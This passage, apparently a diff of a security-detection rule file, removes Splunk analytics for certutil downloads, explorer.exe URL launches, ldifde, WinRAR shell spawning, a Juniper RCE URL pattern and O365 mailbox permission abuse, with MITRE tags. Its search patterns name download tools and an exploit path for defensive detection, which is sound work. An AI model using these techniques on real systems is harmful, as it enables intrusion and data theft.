explorer.exe to open URLs with the default browser, which is an uncommon and suspicious behavior. If confirmed malicious, this technique could allow attackers to download and execute malicious payloads, leading to potential system compromise and further malicious activities.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = explorer.exe OR Processes.original_file_name = explorer.exe) AND NOT (Processes.parent_process_name IN(\"userinit.exe\", \"svchost.exe\")) Processes.process IN (\"* http://*\", \"* https://*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_ingress_tool_transfer_using_explorer_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to download a remote payload.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Ldifde Directory Object Behavior", - "description": "The following analytic identifies the use of Ldifde.exe, a command-line utility for creating, modifying, or deleting LDAP directory objects. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution and command-line arguments. Monitoring Ldifde.exe is significant because it can be used by attackers to manipulate directory objects, potentially leading to unauthorized changes or data exfiltration. If confirmed malicious, this activity could allow an attacker to gain control over directory services, escalate privileges, or access sensitive information within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ldifde.exe Processes.process IN (\"*-i *\", \"*-f *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_ldifde_directory_object_behavior_filter`", - "tags": { - "analytic_story": [ - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ utilizing ldifde on a domain controller.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Windows SQL Spawning CertUtil", - "description": "The following analytic detects the use of certutil to download software, specifically when spawned by SQL-related processes. This detection leverages Endpoint Detection and Response (EDR) data, focusing on command-line executions involving certutil with parameters like *urlcache* and *split*. This activity is significant as it may indicate a compromise by threat actors, such as Flax Typhoon, who use certutil to establish persistent VPN connections. If confirmed malicious, this behavior could allow attackers to maintain access, monitor system availability, and potentially escalate to data theft or ransomware deployment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"sqlservr.exe\", \"sqlagent.exe\", \"sqlps.exe\", \"launchpad.exe\", \"sqldumper.exe\") `process_certutil` (Processes.process=*urlcache* Processes.process=*split*) OR Processes.process=*urlcache* by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.original_file_name Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_sql_spawning_certutil_filter`", - "tags": { - "analytic_story": [ - "Flax Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "$process_name$ was launched on $dest$ by $user$. This behavior is uncommon with the SQL process identified.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "WinRAR Spawning Shell Application", - "description": "The following analytic detects the execution of Windows shell processes initiated by WinRAR, such as \"cmd.exe\", \"powershell.exe\", \"certutil.exe\", \"mshta.exe\", or \"bitsadmin.exe\". This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant because it may indicate exploitation of the WinRAR CVE-2023-38831 vulnerability, where malicious scripts are executed from spoofed ZIP archives. If confirmed malicious, this could lead to unauthorized access, financial loss, and further malicious activities like data theft or ransomware attacks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=winrar.exe `windows_shells` OR Processes.process_name IN (\"certutil.exe\",\"mshta.exe\",\"bitsadmin.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winrar_spawning_shell_application_filter`", - "tags": { - "analytic_story": [ - "WinRAR Spoofing Attack CVE-2023-38831" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to decode a file.", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Juniper Networks Remote Code Execution Exploit Detection", - "description": "The following analytic detects attempts to exploit a remote code execution vulnerability in Juniper Networks devices. It identifies requests to /webauth_operation.php?PHPRC=*, which are indicative of uploading and executing malicious PHP files. This detection leverages the Web data model, focusing on specific URL patterns and HTTP status codes. This activity is significant because it signals an attempt to gain unauthorized access and execute arbitrary code on the device. If confirmed malicious, the attacker could gain control over the device, leading to data theft, network compromise, or other severe consequences.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/webauth_operation.php?PHPRC=*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `juniper_networks_remote_code_execution_exploit_detection_filter`", - "tags": { - "analytic_story": [ - "Juniper JunOS Remote Code Execution" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "This analytic has identified a potential exploitation of a remote code execution vulnerability in Juniper Networks devices on $dest$ on the URL $url$ used for the exploit.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -678120,510 +455908,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" ] - }, - { - "name": "Azure AD FullAccessAsApp Permission Assigned", - "description": "The following analytic detects the assignment of the 'full_access_as_app' permission to an application within Office 365 Exchange Online. This is identified by the GUID 'dc890d15-9560-4a4c-9b7f-a736ec74ec40' and the ResourceAppId '00000002-0000-0ff1-ce00-000000000000'. The detection leverages the azure_monitor_aad data source, focusing on AuditLogs with the operation name 'Update application'. This activity is significant as it grants broad control over Office 365 operations, including full access to all mailboxes and the ability to send emails as any user. If malicious, this could lead to unauthorized access and data exfiltration.", - "search": "`azure_monitor_aad` category=AuditLogs operationName=\"Update application\" | eval newvalue = mvindex('properties.targetResources{}.modifiedProperties{}.newValue',0) | spath input=newvalue | search \"{}.ResourceAppId\"=\"00000002-0000-0ff1-ce00-000000000000\" \"{}.RequiredAppPermissions{}.EntitlementId\"=\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\" | eval Permissions = '{}.RequiredAppPermissions{}.EntitlementId' | stats count earliest(_time) as firstTime latest(_time) as lastTime values(Permissions) by user, object, user_agent, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_fullaccessasapp_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ assigned the full_access_as_app permission to the app registration $object$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 ApplicationImpersonation Role Assigned", - "description": "The following analytic detects the assignment of the ApplicationImpersonation role in Office 365 to a user or application. It uses the Office 365 Management Activity API to monitor Azure Active Directory audit logs for role assignment events. This activity is significant because the ApplicationImpersonation role allows impersonation of any user, enabling access to and modification of their mailbox. If confirmed malicious, an attacker could gain unauthorized access to sensitive information, manipulate mailbox data, and perform actions as a legitimate user, posing a severe security risk to the organization.", - "search": "`o365_management_activity` Workload=Exchange Operation=\"New-ManagementRoleAssignment\" Role=ApplicationImpersonation | rename User as target_user | stats max(_time) as lastTime by Operation, user, object, ObjectId, Role, target_user | `security_content_ctime(lastTime)` | `o365_applicationimpersonation_role_assigned_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Collection Techniques", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "target_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$user$ granted the ApplicationImpersonation role to $target_user$", - "risk_score": 56, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Elevated Mailbox Permission Assigned", - "description": "The following analytic identifies the assignment of elevated mailbox permissions in an Office 365 environment via the Add-MailboxPermission operation. It leverages logs from the Exchange workload in the o365_management_activity data source, focusing on permissions such as FullAccess, ChangePermission, or ChangeOwner. This activity is significant as it indicates potential unauthorized access or control over mailboxes, which could lead to data exfiltration or privilege escalation. If confirmed malicious, attackers could gain extensive access to sensitive email data and potentially manipulate mailbox settings, posing a severe security risk.", - "search": " `o365_management_activity` Workload=Exchange Operation=Add-MailboxPermission | search (AccessRights=FullAccess OR AccessRights=ChangePermission OR AccessRights=ChangeOwner) | rename Identity AS dest_user | stats count earliest(_time) as firstTime latest(_time) as lastTime by user dest_user Operation AccessRights |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_elevated_mailbox_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Elevated mailbox permissions were assigned on $dest_user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 FullAccessAsApp Permission Assigned", - "description": "The following analytic detects the assignment of the 'full_access_as_app' permission to an application registration in Office 365 Exchange Online. This detection leverages Office 365 management activity logs and filters Azure Active Directory workload events to identify when the specific permission, identified by GUID 'dc890d15-9560-4a4c-9b7f-a736ec74ec40', is granted. This activity is significant because it provides extensive control over Office 365 operations, including access to all mailboxes and the ability to send mail as any user. If confirmed malicious, this could lead to unauthorized data access, exfiltration, or account compromise. Immediate investigation is required.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update application.\" | eval newvalue = mvindex('ModifiedProperties{}.NewValue',0) | spath input=newvalue | search \"{}.ResourceAppId\"=\"00000002-0000-0ff1-ce00-000000000000\" \"{}.RequiredAppPermissions{}.EntitlementId\"=\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\" | eval Permissions = '{}.RequiredAppPermissions{}.EntitlementId' | stats count earliest(_time) as firstTime latest(_time) as lastTime values(Permissions) by user, object, user_agent, Operation | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_fullaccessasapp_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ assigned the full_access_as_app permission to the app registration $object$", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Folder Read Permission Assigned", - "description": "The following analytic identifies instances where read permissions are assigned to mailbox folders within an Office 365 environment. It leverages the `o365_management_activity` data source, specifically monitoring the `ModifyFolderPermissions` and `AddFolderPermissions` operations, while excluding Calendar, Contacts, and PersonMetadata objects. This activity is significant as unauthorized read permissions can lead to data exposure and potential information leakage. If confirmed malicious, an attacker could gain unauthorized access to sensitive emails, leading to data breaches and compromising the confidentiality of organizational communications.", - "search": "`o365_management_activity` Workload=Exchange (Operation=ModifyFolderPermissions OR Operation=AddFolderPermissions) Workload=Exchange object!=Calendar object!=Contacts object!=PersonMetadata | eval isReadRole=if(match('Item.ParentFolder.MemberRights', \"(ReadAny)\"), \"true\", \"false\") | rename UserId as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, user, object, Item.ParentFolder.MemberUpn, Item.ParentFolder.MemberRights | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_mailbox_folder_read_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A folder was granted read permission by $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Folder Read Permission Granted", - "description": "The following analytic identifies instances where read permissions are granted to mailbox folders within an Office 365 environment. It detects this activity by monitoring the `o365_management_activity` data source for the `Set-MailboxFolderPermission` and `Add-MailboxFolderPermission` operations. This behavior is significant as it may indicate unauthorized access or changes to mailbox folder permissions, potentially exposing sensitive email content. If confirmed malicious, an attacker could gain unauthorized access to read email communications, leading to data breaches or information leakage.", - "search": " `o365_management_activity` Workload=Exchange (Operation=\"Set-MailboxFolderPermission\" OR Operation=\"Add-MailboxFolderPermission\" ) | eval isReadRole=if(match(AccessRights, \"^(ReadItems|Author|NonEditingAuthor|Owner|PublishingAuthor|Reviewer)$\"), \"true\", \"false\") | search isReadRole=\"true\" | rename UserId as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, user, Identity, AccessRights | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_mailbox_folder_read_permission_granted_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A folder was granted read permission by $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Suspicious Rights Delegation", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `O365 Elevated Mailbox Permission Assigned`. This analytic identifies instances where potentially suspicious rights are delegated within the Office 365 environment. Specifically, it detects when a user is granted FullAccess, SendAs, or SendOnBehalf permissions on another users mailbox. Such permissions can allow a user to access, send emails from, or send emails on behalf of the target mailbox. The detection leverages O365 audit logs, focusing on the Add-MailboxPermission operation. By parsing the parameters of this operation, the analytic filters for events where FullAccess, SendAs, or SendOnBehalf rights are granted. It then aggregates this data to capture the source user (who was granted the permissions), the destination user (whose mailbox was affected), 